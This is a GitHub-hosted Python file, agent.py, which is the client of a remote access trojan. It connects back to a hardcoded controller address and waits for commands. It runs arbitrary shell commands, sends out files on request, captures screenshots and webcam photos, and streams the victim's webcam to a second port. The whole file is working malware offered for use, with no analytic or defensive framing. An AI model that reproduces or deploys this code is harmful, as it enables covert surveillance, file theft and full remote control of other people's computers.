-
Notifications
You must be signed in to change notification settings - Fork 1
/
agent.py
99 lines (98 loc) · 2.9 KB
/
agent.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import socket, os, sys, subprocess, cv2
from PIL import ImageGrab
import pickle, struct
HOST, PORT = "192.168.2.107", 444
agent = socket.socket()
while 1:
try:
agent.connect((HOST, PORT))
break
except:
continue
#send webcam stream to server
def webcam():
host, port = "192.168.2.107", 4444
client = socket.socket()
client.connect((host, port))
cam = cv2.VideoCapture(0)
cam.set(3, 320)
cam.set(4, 240)
encode_param = [int(cv2.IMWRITE_JPEG_QUALITY), 90]
while True:
ret, frame = cam.read()
result, frame = cv2.imencode('.jpg', frame, encode_param)
data = pickle.dumps(frame, 0)
size = len(data)
client.sendall(struct.pack(">L", size)+data)
signal = client.recv(1024)
if str.encode("DONE") in signal:
break
cam.release()
client.close()
#send camera selfie to server
def selfie(conn):
cam = cv2.VideoCapture(0)
ret, frame = cam.read()
cv2.imwrite("image.jpg", frame)
cam.release()
file = open("image.jpg", 'rb')
bits = file.read(1024)
for bit in bits:
conn.send(bits)
bits = file.read(1024)
file.close()
conn.send(str.encode("DONE"))
os.remove("image.jpg")
#Function to transfer file
def transfer(filename, conn):
try:
file = open(filename, 'rb')
bits = file.read(1024)
for bit in bits:
conn.send(bits)
bits = file.read(1024)
file.close()
conn.send(str.encode("DONE"))
except FileNotFoundError:
conn.send(str.encode("DONE"))
#function to transfer screenshot
def screenshot(conn):
shotname = "shot.jpg"
ImageGrab.grab().save(shotname, "JPEG")
file = open(shotname, 'rb')
bits = file.read(1024)
for bit in bits:
conn.send(bits)
bits = file.read(1024)
file.close()
conn.send(str.encode("DONE"))
os.remove(shotname)
while True:
command = agent.recv(2048)
if command.decode('utf-8') == "terminate":
agent.close()
sys.exit()
if command[:3].decode('utf-8') == "cd ":
try:
os.chdir(command[3:])
path = os.getcwd()
agent.send(str.encode(path))
continue
except FileNotFoundError:
agent.send(str.encode("[-] Incorrect Directory!"))
continue
if command[:9].decode('utf-8') == "download ":
transfer(command[9:].decode('utf-8'), agent)
continue
if command.decode('utf-8') == "screenshot":
screenshot(agent)
continue
if command.decode('utf-8') == "campic":
selfie(agent)
continue
if command.decode('utf-8') == "webcam":
webcam()
continue
if len(command) > 0:
result = subprocess.getoutput(command.decode('utf-8'))
agent.send(str.encode(result))